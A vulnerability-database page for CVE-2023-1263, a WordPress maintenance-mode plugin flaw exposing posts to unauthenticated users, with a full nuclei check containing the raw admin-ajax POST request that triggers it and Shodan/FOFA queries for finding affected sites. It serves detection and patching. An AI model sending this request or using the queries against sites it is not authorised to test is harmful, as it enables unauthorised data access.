HexBrain

Browse / CVEs / CVE-2023-1263

CVE-2023-1263· niteothemes / coming soon \& maintenance· CWE-200

Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access

mediumseverity
5.3CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them.

Impact

Unauthenticated attackers can bypass maintenance mode restrictions to access published posts and pages that should be protected during maintenance.

Fix

Fixed in version 4.1.7

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"img\":" and "\"date\":" and "\"title\":" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1263 -u <target>

The full check
id: CVE-2023-1263

info:
  name: Coming Soon & Maintenance < 4.1.7 - Unauthenticated Post/Page Access
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not restrict access to published and non protected posts/pages when the maintenance mode is enabled, allowing unauthenticated users to access them.
  impact: |
    Unauthenticated attackers can bypass maintenance mode restrictions to access published posts and pages that should be protected during maintenance.
  remediation: Fixed in version 4.1.7
  reference:
    - https://wpscan.com/vulnerability/2e07ffd9-8e82-4078-96aa-162ef78c417b
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1263
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cmp-coming-soon-maintenance/cmp-coming-soon-maintenance-plugin-by-niteothemes-416-information-exposure
    - https://wordpress.org/plugins/cmp-coming-soon-maintenance/
    - https://plugins.trac.wordpress.org/browser/cmp-coming-soon-maintenance/tags/4.1.6/niteo-cmp.php#L2759
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-1263
    cwe-id: CWE-200
    epss-score: 0.01414
    epss-percentile: 0.72955
    cpe: cpe:2.3:a:niteothemes:coming_soon_\&_maintenance:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: niteothemes
    product: coming_soon_\&_maintenance
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/cmp-coming-soon-maintenance/
    fofa-query: body=/wp-content/plugins/cmp-coming-soon-maintenance/
    publicwww-query: "/wp-content/plugins/cmp-coming-soon-maintenance/"
  tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,cmp-coming-soon-maintenance,unauth,niteothemes,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=cmp_get_post_detail&id=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"img":'
          - '"date":'
          - '"title":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from